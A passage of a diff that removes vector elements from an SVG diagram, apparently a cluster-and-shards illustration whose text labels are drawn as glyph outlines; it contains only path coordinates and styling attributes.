-                <path d="M520.695394,207.9581 L520.695394,207.9581 C520.695394,130.00333 585.370876,66.8085 665.15213,66.8085 L665.15213,66.8085 C703.464447,66.8085 740.20755,81.6795785 767.29843,108.150266 C794.389311,134.620946 809.608794,170.522909 809.608794,207.958106 L809.608794,207.958106 C809.608794,285.912876 744.933318,349.107706 665.152124,349.107706 L665.152124,349.107706 C585.370874,349.107706 520.695394,285.912882 520.695394,207.958106 L520.695394,207.9581 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="570.9633 75.83976 759.34123 75.83976 759.34123 116.28071 570.9633 116.28071"></polygon>
-                <path d="M621.1676,102.94726 C619.719683,102.94726 618.599892,102.504552 617.808225,101.619135 C617.016558,100.723302 616.620725,99.462885 616.620725,97.837885 C616.620725,96.1608017 617.021767,94.869135 617.82385,93.962885 C618.63635,93.0462183 619.782183,92.587885 621.26135,92.587885 C621.740517,92.587885 622.219683,92.6399683 622.69885,92.744135 C623.188433,92.8483017 623.568642,92.9733017 623.839475,93.119135 L623.370725,94.400385 C623.037392,94.2649683 622.672808,94.1555933 622.276975,94.07226 C621.881142,93.97851 621.532183,93.931635 621.2301,93.931635 C619.19885,93.931635 618.183225,95.2233017 618.183225,97.806635 C618.183225,99.0358017 618.428017,99.97851 618.9176,100.63476 C619.4176,101.29101 620.157183,101.619135 621.13635,101.619135 C621.969683,101.619135 622.818642,101.442052 623.683225,101.087885 L623.683225,102.41601 C623.016558,102.770177 622.178017,102.94726 621.1676,102.94726 Z M627.565,102.75976 L626.065,102.75976 L626.065,88.587885 L627.565,88.587885 L627.565,102.75976 Z M632.205564,92.775385 L632.205564,99.25976 C632.205564,100.07226 632.387856,100.681635 632.752439,101.087885 C633.127439,101.483718 633.705564,101.681635 634.486814,101.681635 C635.538897,101.681635 636.304522,101.395177 636.783689,100.82226 C637.262856,100.249343 637.502439,99.3170517 637.502439,98.025385 L637.502439,92.775385 L639.018064,92.775385 L639.018064,102.75976 L637.768064,102.75976 L637.549314,101.41601 L637.471189,101.41601 C637.158689,101.91601 636.726397,102.296218 636.174314,102.556635 C635.632647,102.817052 635.007647,102.94726 634.299314,102.94726 C633.090981,102.94726 632.184731,102.660802 631.580564,102.087885 C630.976397,101.504552 630.674314,100.577468 630.674314,99.306635 L630.674314,92.775385 L632.205564,92.775385 Z M648.671873,100.04101 C648.671873,100.968093 648.322915,101.686843 647.624998,102.19726 C646.937498,102.69726 645.968748,102.94726 644.718748,102.94726 C643.395831,102.94726 642.364581,102.733718 641.624998,102.306635 L641.624998,100.91601 C642.104165,101.155593 642.614581,101.348302 643.156248,101.494135 C643.708331,101.629552 644.239581,101.69726 644.749998,101.69726 C645.541665,101.69726 646.15104,101.57226 646.578123,101.32226 C647.005206,101.061843 647.218748,100.676427 647.218748,100.16601 C647.218748,99.7805933 647.046873,99.44726 646.703123,99.16601 C646.36979,98.88476 645.71354,98.556635 644.734373,98.181635 C643.80729,97.837885 643.145831,97.54101 642.749998,97.29101 C642.364581,97.0305933 642.072915,96.7389267 641.874998,96.41601 C641.687498,96.0826767 641.593748,95.6868433 641.593748,95.22851 C641.593748,94.41601 641.921873,93.775385 642.578123,93.306635 C643.24479,92.8274683 644.156248,92.587885 645.312498,92.587885 C646.385415,92.587885 647.43229,92.806635 648.453123,93.244135 L647.921873,94.47851 C646.921873,94.0618433 646.015623,93.85351 645.203123,93.85351 C644.484373,93.85351 643.942706,93.9680933 643.578123,94.19726 C643.21354,94.4264267 643.031248,94.7337183 643.031248,95.119135 C643.031248,95.3899683 643.098956,95.619135 643.234373,95.806635 C643.36979,95.994135 643.58854,96.1764267 643.890623,96.35351 C644.192706,96.5201767 644.77604,96.7649683 645.640623,97.087885 C646.828123,97.5149683 647.630206,97.94726 648.046873,98.38476 C648.46354,98.82226 648.671873,99.3743433 648.671873,100.04101 Z M654.353086,101.69726 C654.62392,101.69726 654.879128,101.676427 655.118711,101.63476 C655.368711,101.593093 655.566628,101.551427 655.712461,101.50976 L655.712461,102.66601 C655.556211,102.749343 655.316628,102.817052 654.993711,102.869135 C654.670795,102.921218 654.384336,102.94726 654.134336,102.94726 C652.207253,102.94726 651.243711,101.926427 651.243711,99.88476 L651.243711,93.94726 L649.806211,93.94726 L649.806211,93.22851 L651.243711,92.587885 L651.868711,90.462885 L652.743711,90.462885 L652.743711,92.775385 L655.649961,92.775385 L655.649961,93.94726 L652.743711,93.94726 L652.743711,99.82226 C652.743711,100.426427 652.884336,100.889968 653.165586,101.212885 C653.457253,101.535802 653.853086,101.69726 654.353086,101.69726 Z M661.939268,102.94726 C660.460101,102.94726 659.293435,102.499343 658.439268,101.60351 C657.585101,100.69726 657.158018,99.44726 657.158018,97.85351 C657.158018,96.2389267 657.553851,94.9576767 658.345518,94.00976 C659.137185,93.0618433 660.199685,92.587885 661.533018,92.587885 C662.793435,92.587885 663.783018,92.9993433 664.501768,93.82226 C665.230935,94.6451767 665.595518,95.7337183 665.595518,97.087885 L665.595518,98.04101 L658.720518,98.04101 C658.751768,99.2180933 659.048643,100.108718 659.611143,100.712885 C660.173643,101.317052 660.96531,101.619135 661.986143,101.619135 C663.05906,101.619135 664.12156,101.395177 665.173643,100.94726 L665.173643,102.29101 C664.642393,102.520177 664.137185,102.686843 663.658018,102.79101 C663.178851,102.895177 662.605935,102.94726 661.939268,102.94726 Z M661.517393,93.85351 C660.71531,93.85351 660.074685,94.119135 659.595518,94.650385 C659.126768,95.1712183 658.850726,95.8899683 658.767393,96.806635 L663.986143,96.806635 C663.986143,95.8587183 663.772601,95.1295517 663.345518,94.619135 C662.918435,94.1087183 662.30906,93.85351 661.517393,93.85351 Z M672.73419,92.587885 C673.182107,92.587885 673.57794,92.6243433 673.92169,92.69726 L673.718565,94.10351 C673.301898,94.00976 672.937315,93.962885 672.624815,93.962885 C671.822732,93.962885 671.130023,94.29101 670.54669,94.94726 C669.973773,95.60351 669.687315,96.4212183 669.687315,97.400385 L669.687315,102.75976 L668.187315,102.75976 L668.187315,92.775385 L669.42169,92.775385 L669.60919,94.619135 L669.67169,94.619135 C670.04669,93.9733017 670.494607,93.4733017 671.01544,93.119135 C671.536273,92.7649683 672.10919,92.587885 672.73419,92.587885 Z M675.584105,101.79101 C675.584105,101.38476 675.672646,101.077468 675.84973,100.869135 C676.03723,100.660802 676.302855,100.556635 676.646605,100.556635 C677.000771,100.556635 677.276813,100.660802 677.47473,100.869135 C677.672646,101.077468 677.771605,101.38476 677.771605,101.79101 C677.771605,102.186843 677.672646,102.494135 677.47473,102.712885 C677.276813,102.921218 677.000771,103.025385 676.646605,103.025385 C676.344521,103.025385 676.089313,102.931635 675.88098,102.744135 C675.683063,102.546218 675.584105,102.22851 675.584105,101.79101 Z M675.584105,93.744135 C675.584105,92.931635 675.938271,92.525385 676.646605,92.525385 C677.396605,92.525385 677.771605,92.931635 677.771605,93.744135 C677.771605,94.1399683 677.672646,94.44726 677.47473,94.66601 C677.276813,94.8743433 677.000771,94.97851 676.646605,94.97851 C676.344521,94.97851 676.089313,94.88476 675.88098,94.69726 C675.683063,94.4993433 675.584105,94.181635 675.584105,93.744135 Z M687.035643,92.775385 L687.035643,99.25976 C687.035643,100.07226 687.217934,100.681635 687.582518,101.087885 C687.957518,101.483718 688.535643,101.681635 689.316893,101.681635 C690.368976,101.681635 691.134601,101.395177 691.613768,100.82226 C692.092934,100.249343 692.332518,99.3170517 692.332518,98.025385 L692.332518,92.775385 L693.848143,92.775385 L693.848143,102.75976 L692.598143,102.75976 L692.379393,101.41601 L692.301268,101.41601 C691.988768,101.91601 691.556476,102.296218 691.004393,102.556635 C690.462726,102.817052 689.837726,102.94726 689.129393,102.94726 C687.921059,102.94726 687.014809,102.660802 686.410643,102.087885 C685.806476,101.504552 685.504393,100.577468 685.504393,99.306635 L685.504393,92.775385 L687.035643,92.775385 Z M703.501891,100.04101 C703.501891,100.968093 703.152932,101.686843 702.455016,102.19726 C701.767516,102.69726 700.798766,102.94726 699.548766,102.94726 C698.225849,102.94726 697.194599,102.733718 696.455016,102.306635 L696.455016,100.91601 C696.934182,101.155593 697.444599,101.348302 697.986266,101.494135 C698.538349,101.629552 699.069599,101.69726 699.580016,101.69726 C700.371682,101.69726 700.981057,101.57226 701.408141,101.32226 C701.835224,101.061843 702.048766,100.676427 702.048766,100.16601 C702.048766,99.7805933 701.876891,99.44726 701.533141,99.16601 C701.199807,98.88476 700.543557,98.556635 699.564391,98.181635 C698.637307,97.837885 697.975849,97.54101 697.580016,97.29101 C697.194599,97.0305933 696.902932,96.7389267 696.705016,96.41601 C696.517516,96.0826767 696.423766,95.6868433 696.423766,95.22851 C696.423766,94.41601 696.751891,93.775385 697.408141,93.306635 C698.074807,92.8274683 698.986266,92.587885 700.142516,92.587885 C701.215432,92.587885 702.262307,92.806635 703.283141,93.244135 L702.751891,94.47851 C701.751891,94.0618433 700.845641,93.85351 700.033141,93.85351 C699.314391,93.85351 698.772724,93.9680933 698.408141,94.19726 C698.043557,94.4264267 697.861266,94.7337183 697.861266,95.119135 C697.861266,95.3899683 697.928974,95.619135 698.064391,95.806635 C698.199807,95.994135 698.418557,96.1764267 698.720641,96.35351 C699.022724,96.5201767 699.606057,96.7649683 700.470641,97.087885 C701.658141,97.5149683 702.460224,97.94726 702.876891,98.38476 C703.293557,98.82226 703.501891,99.3743433 703.501891,100.04101 Z M712.104979,102.75976 L711.792479,101.337885 L711.729979,101.337885 C711.229979,101.962885 710.729979,102.389968 710.229979,102.619135 C709.740395,102.837885 709.125812,102.94726 708.386229,102.94726 C707.396645,102.94726 706.620604,102.692052 706.058104,102.181635 C705.495604,101.671218 705.214354,100.942052 705.214354,99.994135 C705.214354,97.9837183 706.823729,96.9264267 710.042479,96.82226 L711.745604,96.775385 L711.745604,96.150385 C711.745604,95.369135 711.573729,94.79101 711.229979,94.41601 C710.896645,94.04101 710.360187,93.85351 709.620604,93.85351 C708.78727,93.85351 707.844562,94.1087183 706.792479,94.619135 L706.339354,93.462885 C706.828937,93.2024683 707.365395,92.9993433 707.948729,92.85351 C708.532062,92.69726 709.120604,92.619135 709.714354,92.619135 C710.901854,92.619135 711.782062,92.88476 712.354979,93.41601 C712.927895,93.9368433 713.214354,94.7805933 713.214354,95.94726 L713.214354,102.75976 L712.104979,102.75976 Z M708.683104,101.69726 C709.620604,101.69726 710.354979,101.442052 710.886229,100.931635 C711.427895,100.410802 711.698729,99.681635 711.698729,98.744135 L711.698729,97.85351 L710.198729,97.91601 C708.990395,97.9576767 708.120604,98.1451767 707.589354,98.47851 C707.058104,98.8014267 706.792479,99.3170517 706.792479,100.025385 C706.792479,100.567052 706.959145,100.983718 707.292479,101.275385 C707.625812,101.556635 708.089354,101.69726 708.683104,101.69726 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M587.2461,178.08994 L587.2461,178.08994 C587.2461,169.841741 593.932562,163.155263 602.180792,163.155263 L728.122442,163.155263 C732.083379,163.155263 735.882086,164.728734 738.682867,167.529531 C741.483648,170.330327 743.057135,174.129018 743.057135,178.089941 L743.057135,237.826881 C743.057135,246.07508 736.370611,252.761558 728.122443,252.761558 L602.180793,252.761558 C593.932563,252.761558 587.2461,246.07508 587.2461,237.826881 L587.2461,178.08994 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M657.6743,194.44948 L657.6743,193.027605 C656.9243,194.121355 655.903467,194.66823 654.6118,194.66823 C654.038883,194.66823 653.502425,194.558855 653.002425,194.340105 C652.512842,194.121355 652.148258,193.845313 651.908675,193.51198 C651.669092,193.178647 651.502425,192.772397 651.408675,192.29323 C651.335758,191.98073 651.2993,191.470313 651.2993,190.76198 L651.2993,184.777605 L652.939925,184.777605 L652.939925,190.13698 C652.939925,190.991147 652.976383,191.569272 653.0493,191.871355 C653.153467,192.298438 653.372217,192.63698 653.70555,192.88698 C654.038883,193.13698 654.450342,193.26198 654.939925,193.26198 C655.429508,193.26198 655.887842,193.13698 656.314925,192.88698 C656.752425,192.626563 657.059717,192.282813 657.2368,191.85573 C657.413883,191.41823 657.502425,190.788022 657.502425,189.965105 L657.502425,184.777605 L659.14305,184.777605 L659.14305,194.44948 L657.6743,194.44948 Z M661.065657,191.558855 L662.690657,191.308855 C662.773991,191.954688 663.023991,192.454688 663.440657,192.808855 C663.857324,193.152605 664.440657,193.32448 665.190657,193.32448 C665.940657,193.32448 666.497949,193.173438 666.862532,192.871355 C667.227116,192.558855 667.409407,192.194272 667.409407,191.777605 C667.409407,191.413022 667.247949,191.121355 666.925032,190.902605 C666.706282,190.756772 666.148991,190.57448 665.253157,190.35573 C664.044824,190.04323 663.206282,189.777605 662.737532,189.558855 C662.279199,189.340105 661.930241,189.038022 661.690657,188.652605 C661.451074,188.256772 661.331282,187.819272 661.331282,187.340105 C661.331282,186.913022 661.430241,186.517188 661.628157,186.152605 C661.826074,185.777605 662.096907,185.470313 662.440657,185.23073 C662.690657,185.04323 663.034407,184.88698 663.471907,184.76198 C663.919824,184.626563 664.393782,184.558855 664.893782,184.558855 C665.654199,184.558855 666.320866,184.66823 666.893782,184.88698 C667.466699,185.10573 667.888574,185.402605 668.159407,185.777605 C668.440657,186.152605 668.633366,186.652605 668.737532,187.277605 L667.128157,187.496355 C667.055241,186.996355 666.841699,186.60573 666.487532,186.32448 C666.143782,186.04323 665.654199,185.902605 665.018782,185.902605 C664.258366,185.902605 663.716699,186.027605 663.393782,186.277605 C663.081282,186.527605 662.925032,186.819272 662.925032,187.152605 C662.925032,187.360938 662.987532,187.553647 663.112532,187.73073 C663.247949,187.907813 663.461491,188.053647 663.753157,188.16823 C663.909407,188.23073 664.388574,188.371355 665.190657,188.590105 C666.357324,188.892188 667.169824,189.142188 667.628157,189.340105 C668.086491,189.538022 668.445866,189.82448 668.706282,190.19948 C668.966699,190.57448 669.096907,191.04323 669.096907,191.60573 C669.096907,192.157813 668.935449,192.673438 668.612532,193.152605 C668.300032,193.631772 667.841699,194.006772 667.237532,194.277605 C666.633366,194.538022 665.951074,194.66823 665.190657,194.66823 C663.940657,194.66823 662.982324,194.407813 662.315657,193.88698 C661.659407,193.366147 661.242741,192.590105 661.065657,191.558855 Z M676.768782,194.44948 L675.128157,194.44948 L675.128157,183.996355 C674.732324,184.371355 674.211491,184.751563 673.565657,185.13698 C672.930241,185.51198 672.357324,185.79323 671.846907,185.98073 L671.846907,184.38698 C672.763574,183.959897 673.565657,183.439063 674.253157,182.82448 C674.940657,182.209897 675.425032,181.616147 675.706282,181.04323 L676.768782,181.04323 L676.768782,194.44948 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M669.40405,213.79884 L669.40405,213.79884 C669.40405,209.992215 672.489927,206.906323 676.296567,206.906323 L726.007567,206.906323 C727.835631,206.906323 729.588744,207.632489 730.881346,208.925091 C732.173949,210.217694 732.900145,211.970837 732.900145,213.79884 L732.900145,241.368115 C732.900145,245.174756 729.814208,248.260648 726.007567,248.260648 L676.296567,248.260648 C672.489927,248.260648 669.40405,245.174756 669.40405,241.368115 L669.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M683.0935,227.13098 L683.0935,215.646605 L684.37475,215.646605 L684.37475,216.72473 C684.676833,216.297647 685.015375,215.979938 685.390375,215.771605 C685.775792,215.563272 686.239333,215.459105 686.781,215.459105 C687.489333,215.459105 688.114333,215.641397 688.656,216.00598 C689.197667,216.370563 689.603917,216.886188 689.87475,217.552855 C690.156,218.209105 690.296625,218.933063 690.296625,219.72473 C690.296625,220.578897 690.140375,221.344522 689.827875,222.021605 C689.525792,222.698688 689.083083,223.219522 688.49975,223.584105 C687.926833,223.948688 687.317458,224.13098 686.671625,224.13098 C686.202875,224.13098 685.781,224.032022 685.406,223.834105 C685.041417,223.636188 684.739333,223.386188 684.49975,223.084105 L684.49975,227.13098 L683.0935,227.13098 Z M684.359125,219.834105 C684.359125,220.907022 684.572667,221.698688 684.99975,222.209105 C685.43725,222.719522 685.963292,222.97473 686.577875,222.97473 C687.202875,222.97473 687.739333,222.709105 688.18725,222.177855 C688.635167,221.646605 688.859125,220.828897 688.859125,219.72473 C688.859125,218.66223 688.640375,217.870563 688.202875,217.34973 C687.765375,216.81848 687.244542,216.552855 686.640375,216.552855 C686.046625,216.552855 685.515375,216.834105 685.046625,217.396605 C684.588292,217.959105 684.359125,218.771605 684.359125,219.834105 Z M691.460687,219.78723 C691.460687,218.25598 691.887771,217.120563 692.741937,216.38098 C693.460687,215.766397 694.330479,215.459105 695.351312,215.459105 C696.497146,215.459105 697.429437,215.834105 698.148187,216.584105 C698.877354,217.323688 699.241937,218.354938 699.241937,219.677855 C699.241937,220.740355 699.080479,221.578897 698.757562,222.19348 C698.434646,222.808063 697.965896,223.28723 697.351312,223.63098 C696.747146,223.964313 696.080479,224.13098 695.351312,224.13098 C694.195062,224.13098 693.257562,223.761188 692.538812,223.021605 C691.820062,222.271605 691.460687,221.19348 691.460687,219.78723 Z M692.913812,219.78723 C692.913812,220.84973 693.142979,221.646605 693.601312,222.177855 C694.070062,222.709105 694.653396,222.97473 695.351312,222.97473 C696.049229,222.97473 696.627354,222.709105 697.085687,222.177855 C697.554437,221.646605 697.788812,220.834105 697.788812,219.740355 C697.788812,218.719522 697.554437,217.94348 697.085687,217.41223 C696.627354,216.88098 696.049229,216.615355 695.351312,216.615355 C694.653396,216.615355 694.070062,216.88098 693.601312,217.41223 C693.142979,217.933063 692.913812,218.72473 692.913812,219.78723 Z M700.327875,221.459105 L701.7185,221.240355 C701.791417,221.802855 702.004958,222.235147 702.359125,222.53723 C702.723708,222.828897 703.223708,222.97473 703.859125,222.97473 C704.504958,222.97473 704.984125,222.844522 705.296625,222.584105 C705.609125,222.313272 705.765375,222.000772 705.765375,221.646605 C705.765375,221.334105 705.629958,221.084105 705.359125,220.896605 C705.161208,220.771605 704.682042,220.615355 703.921625,220.427855 C702.890375,220.167438 702.171625,219.94348 701.765375,219.75598 C701.369542,219.558063 701.067458,219.292438 700.859125,218.959105 C700.661208,218.625772 700.56225,218.25598 700.56225,217.84973 C700.56225,217.47473 700.645583,217.13098 700.81225,216.81848 C700.978917,216.50598 701.208083,216.245563 701.49975,216.03723 C701.7185,215.870563 702.015375,215.735147 702.390375,215.63098 C702.775792,215.516397 703.182042,215.459105 703.609125,215.459105 C704.265375,215.459105 704.838292,215.552855 705.327875,215.740355 C705.817458,215.927855 706.176833,216.183063 706.406,216.50598 C706.645583,216.81848 706.81225,217.245563 706.906,217.78723 L705.531,217.97473 C705.4685,217.547647 705.286208,217.214313 704.984125,216.97473 C704.682042,216.735147 704.260167,216.615355 703.7185,216.615355 C703.072667,216.615355 702.609125,216.72473 702.327875,216.94348 C702.057042,217.151813 701.921625,217.396605 701.921625,217.677855 C701.921625,217.865355 701.978917,218.032022 702.0935,218.177855 C702.208083,218.323688 702.385167,218.448688 702.62475,218.552855 C702.770583,218.604938 703.18725,218.72473 703.87475,218.91223 C704.864333,219.172647 705.557042,219.391397 705.952875,219.56848 C706.348708,219.735147 706.656,219.979938 706.87475,220.302855 C707.103917,220.625772 707.2185,221.026813 707.2185,221.50598 C707.2185,221.97473 707.077875,222.417438 706.796625,222.834105 C706.525792,223.240355 706.129958,223.558063 705.609125,223.78723 C705.098708,224.016397 704.520583,224.13098 703.87475,224.13098 C702.791417,224.13098 701.9685,223.907022 701.406,223.459105 C700.8435,223.011188 700.484125,222.344522 700.327875,221.459105 Z M711.952875,222.677855 L712.156,223.927855 C711.760167,224.011188 711.406,224.052855 711.0935,224.052855 C710.583083,224.052855 710.18725,223.97473 709.906,223.81848 C709.62475,223.651813 709.426833,223.438272 709.31225,223.177855 C709.197667,222.907022 709.140375,222.34973 709.140375,221.50598 L709.140375,216.740355 L708.109125,216.740355 L708.109125,215.646605 L709.140375,215.646605 L709.140375,213.584105 L710.546625,212.740355 L710.546625,215.646605 L711.952875,215.646605 L711.952875,216.740355 L710.546625,216.740355 L710.546625,221.584105 C710.546625,221.990355 710.567458,222.250772 710.609125,222.365355 C710.661208,222.479938 710.744542,222.573688 710.859125,222.646605 C710.973708,222.709105 711.135167,222.740355 711.3435,222.740355 C711.49975,222.740355 711.702875,222.719522 711.952875,222.677855 Z M712.773187,221.459105 L714.163812,221.240355 C714.236729,221.802855 714.450271,222.235147 714.804437,222.53723 C715.169021,222.828897 715.669021,222.97473 716.304437,222.97473 C716.950271,222.97473 717.429437,222.844522 717.741937,222.584105 C718.054437,222.313272 718.210687,222.000772 718.210687,221.646605 C718.210687,221.334105 718.075271,221.084105 717.804437,220.896605 C717.606521,220.771605 717.127354,220.615355 716.366937,220.427855 C715.335687,220.167438 714.616937,219.94348 714.210687,219.75598 C713.814854,219.558063 713.512771,219.292438 713.304437,218.959105 C713.106521,218.625772 713.007562,218.25598 713.007562,217.84973 C713.007562,217.47473 713.090896,217.13098 713.257562,216.81848 C713.424229,216.50598 713.653396,216.245563 713.945062,216.03723 C714.163812,215.870563 714.460687,215.735147 714.835687,215.63098 C715.221104,215.516397 715.627354,215.459105 716.054437,215.459105 C716.710687,215.459105 717.283604,215.552855 717.773187,215.740355 C718.262771,215.927855 718.622146,216.183063 718.851312,216.50598 C719.090896,216.81848 719.257562,217.245563 719.351312,217.78723 L717.976312,217.97473 C717.913812,217.547647 717.731521,217.214313 717.429437,216.97473 C717.127354,216.735147 716.705479,216.615355 716.163812,216.615355 C715.517979,216.615355 715.054437,216.72473 714.773187,216.94348 C714.502354,217.151813 714.366937,217.396605 714.366937,217.677855 C714.366937,217.865355 714.424229,218.032022 714.538812,218.177855 C714.653396,218.323688 714.830479,218.448688 715.070062,218.552855 C715.215896,218.604938 715.632562,218.72473 716.320062,218.91223 C717.309646,219.172647 718.002354,219.391397 718.398187,219.56848 C718.794021,219.735147 719.101312,219.979938 719.320062,220.302855 C719.549229,220.625772 719.663812,221.026813 719.663812,221.50598 C719.663812,221.97473 719.523187,222.417438 719.241937,222.834105 C718.971104,223.240355 718.575271,223.558063 718.054437,223.78723 C717.544021,224.016397 716.965896,224.13098 716.320062,224.13098 C715.236729,224.13098 714.413812,223.907022 713.851312,223.459105 C713.288812,223.011188 712.929437,222.344522 712.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M699.42944,241.5841 L699.42944,242.943475 L691.851315,242.943475 C691.840898,242.599725 691.89819,242.2716 692.02319,241.9591 C692.21069,241.448683 692.517982,240.943475 692.945065,240.443475 C693.372148,239.943475 693.986732,239.36535 694.788815,238.7091 C696.028398,237.688267 696.86694,236.880975 697.30444,236.287225 C697.74194,235.683058 697.96069,235.11535 697.96069,234.5841 C697.96069,234.032017 697.762773,233.563267 697.36694,233.17785 C696.971107,232.792433 696.450273,232.599725 695.80444,232.599725 C695.127357,232.599725 694.58569,232.80285 694.17944,233.2091 C693.77319,233.61535 693.570065,234.17785 693.570065,234.8966 L692.11694,234.755975 C692.221107,233.672642 692.596107,232.849725 693.24194,232.287225 C693.887773,231.724725 694.752357,231.443475 695.83569,231.443475 C696.939857,231.443475 697.809648,231.750767 698.445065,232.36535 C699.090898,232.969517 699.413815,233.719517 699.413815,234.61535 C699.413815,235.073683 699.320065,235.526808 699.132565,235.974725 C698.945065,236.412225 698.632565,236.875767 698.195065,237.36535 C697.757565,237.854933 697.033607,238.526808 696.02319,239.380975 C695.17944,240.089308 694.637773,240.573683 694.39819,240.8341 C694.158607,241.0841 693.96069,241.3341 693.80444,241.5841 L699.42944,241.5841 Z M701.499752,242.943475 L701.499752,231.49035 L705.827877,231.49035 C706.588294,231.49035 707.166419,231.526808 707.562252,231.599725 C708.124752,231.693475 708.593502,231.870558 708.968502,232.130975 C709.353919,232.391392 709.661211,232.761183 709.890377,233.24035 C710.129961,233.7091 710.249752,234.229933 710.249752,234.80285 C710.249752,235.7716 709.937252,236.594517 709.312252,237.2716 C708.697669,237.948683 707.577877,238.287225 705.952877,238.287225 L703.015377,238.287225 L703.015377,242.943475 L701.499752,242.943475 Z M703.015377,236.92785 L705.984127,236.92785 C706.963294,236.92785 707.656002,236.745558 708.062252,236.380975 C708.478919,236.016392 708.687252,235.505975 708.687252,234.849725 C708.687252,234.370558 708.562252,233.9591 708.312252,233.61535 C708.072669,233.2716 707.754961,233.047642 707.359127,232.943475 C707.109127,232.870558 706.640377,232.8341 705.952877,232.8341 L703.015377,232.8341 L703.015377,236.92785 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M597.40405,213.79884 L597.40405,213.79884 C597.40405,209.992215 600.489927,206.906323 604.296567,206.906323 L654.007567,206.906323 C655.835631,206.906323 657.588744,207.632489 658.881346,208.925091 C660.173949,210.217694 660.900145,211.970837 660.900145,213.79884 L660.900145,241.368115 C660.900145,245.174756 657.814208,248.260648 654.007567,248.260648 L604.296567,248.260648 C600.489927,248.260648 597.40405,245.174756 597.40405,241.368115 L597.40405,213.79884 Z" id="Path" fill="#FEC514"></path>
-                <path d="M611.0935,227.13098 L611.0935,215.646605 L612.37475,215.646605 L612.37475,216.72473 C612.676833,216.297647 613.015375,215.979938 613.390375,215.771605 C613.775792,215.563272 614.239333,215.459105 614.781,215.459105 C615.489333,215.459105 616.114333,215.641397 616.656,216.00598 C617.197667,216.370563 617.603917,216.886188 617.87475,217.552855 C618.156,218.209105 618.296625,218.933063 618.296625,219.72473 C618.296625,220.578897 618.140375,221.344522 617.827875,222.021605 C617.525792,222.698688 617.083083,223.219522 616.49975,223.584105 C615.926833,223.948688 615.317458,224.13098 614.671625,224.13098 C614.202875,224.13098 613.781,224.032022 613.406,223.834105 C613.041417,223.636188 612.739333,223.386188 612.49975,223.084105 L612.49975,227.13098 L611.0935,227.13098 Z M612.359125,219.834105 C612.359125,220.907022 612.572667,221.698688 612.99975,222.209105 C613.43725,222.719522 613.963292,222.97473 614.577875,222.97473 C615.202875,222.97473 615.739333,222.709105 616.18725,222.177855 C616.635167,221.646605 616.859125,220.828897 616.859125,219.72473 C616.859125,218.66223 616.640375,217.870563 616.202875,217.34973 C615.765375,216.81848 615.244542,216.552855 614.640375,216.552855 C614.046625,216.552855 613.515375,216.834105 613.046625,217.396605 C612.588292,217.959105 612.359125,218.771605 612.359125,219.834105 Z M619.460687,219.78723 C619.460687,218.25598 619.887771,217.120563 620.741937,216.38098 C621.460687,215.766397 622.330479,215.459105 623.351312,215.459105 C624.497146,215.459105 625.429437,215.834105 626.148187,216.584105 C626.877354,217.323688 627.241937,218.354938 627.241937,219.677855 C627.241937,220.740355 627.080479,221.578897 626.757562,222.19348 C626.434646,222.808063 625.965896,223.28723 625.351312,223.63098 C624.747146,223.964313 624.080479,224.13098 623.351312,224.13098 C622.195062,224.13098 621.257562,223.761188 620.538812,223.021605 C619.820062,222.271605 619.460687,221.19348 619.460687,219.78723 Z M620.913812,219.78723 C620.913812,220.84973 621.142979,221.646605 621.601312,222.177855 C622.070062,222.709105 622.653396,222.97473 623.351312,222.97473 C624.049229,222.97473 624.627354,222.709105 625.085687,222.177855 C625.554437,221.646605 625.788812,220.834105 625.788812,219.740355 C625.788812,218.719522 625.554437,217.94348 625.085687,217.41223 C624.627354,216.88098 624.049229,216.615355 623.351312,216.615355 C622.653396,216.615355 622.070062,216.88098 621.601312,217.41223 C621.142979,217.933063 620.913812,218.72473 620.913812,219.78723 Z M628.327875,221.459105 L629.7185,221.240355 C629.791417,221.802855 630.004958,222.235147 630.359125,222.53723 C630.723708,222.828897 631.223708,222.97473 631.859125,222.97473 C632.504958,222.97473 632.984125,222.844522 633.296625,222.584105 C633.609125,222.313272 633.765375,222.000772 633.765375,221.646605 C633.765375,221.334105 633.629958,221.084105 633.359125,220.896605 C633.161208,220.771605 632.682042,220.615355 631.921625,220.427855 C630.890375,220.167438 630.171625,219.94348 629.765375,219.75598 C629.369542,219.558063 629.067458,219.292438 628.859125,218.959105 C628.661208,218.625772 628.56225,218.25598 628.56225,217.84973 C628.56225,217.47473 628.645583,217.13098 628.81225,216.81848 C628.978917,216.50598 629.208083,216.245563 629.49975,216.03723 C629.7185,215.870563 630.015375,215.735147 630.390375,215.63098 C630.775792,215.516397 631.182042,215.459105 631.609125,215.459105 C632.265375,215.459105 632.838292,215.552855 633.327875,215.740355 C633.817458,215.927855 634.176833,216.183063 634.406,216.50598 C634.645583,216.81848 634.81225,217.245563 634.906,217.78723 L633.531,217.97473 C633.4685,217.547647 633.286208,217.214313 632.984125,216.97473 C632.682042,216.735147 632.260167,216.615355 631.7185,216.615355 C631.072667,216.615355 630.609125,216.72473 630.327875,216.94348 C630.057042,217.151813 629.921625,217.396605 629.921625,217.677855 C629.921625,217.865355 629.978917,218.032022 630.0935,218.177855 C630.208083,218.323688 630.385167,218.448688 630.62475,218.552855 C630.770583,218.604938 631.18725,218.72473 631.87475,218.91223 C632.864333,219.172647 633.557042,219.391397 633.952875,219.56848 C634.348708,219.735147 634.656,219.979938 634.87475,220.302855 C635.103917,220.625772 635.2185,221.026813 635.2185,221.50598 C635.2185,221.97473 635.077875,222.417438 634.796625,222.834105 C634.525792,223.240355 634.129958,223.558063 633.609125,223.78723 C633.098708,224.016397 632.520583,224.13098 631.87475,224.13098 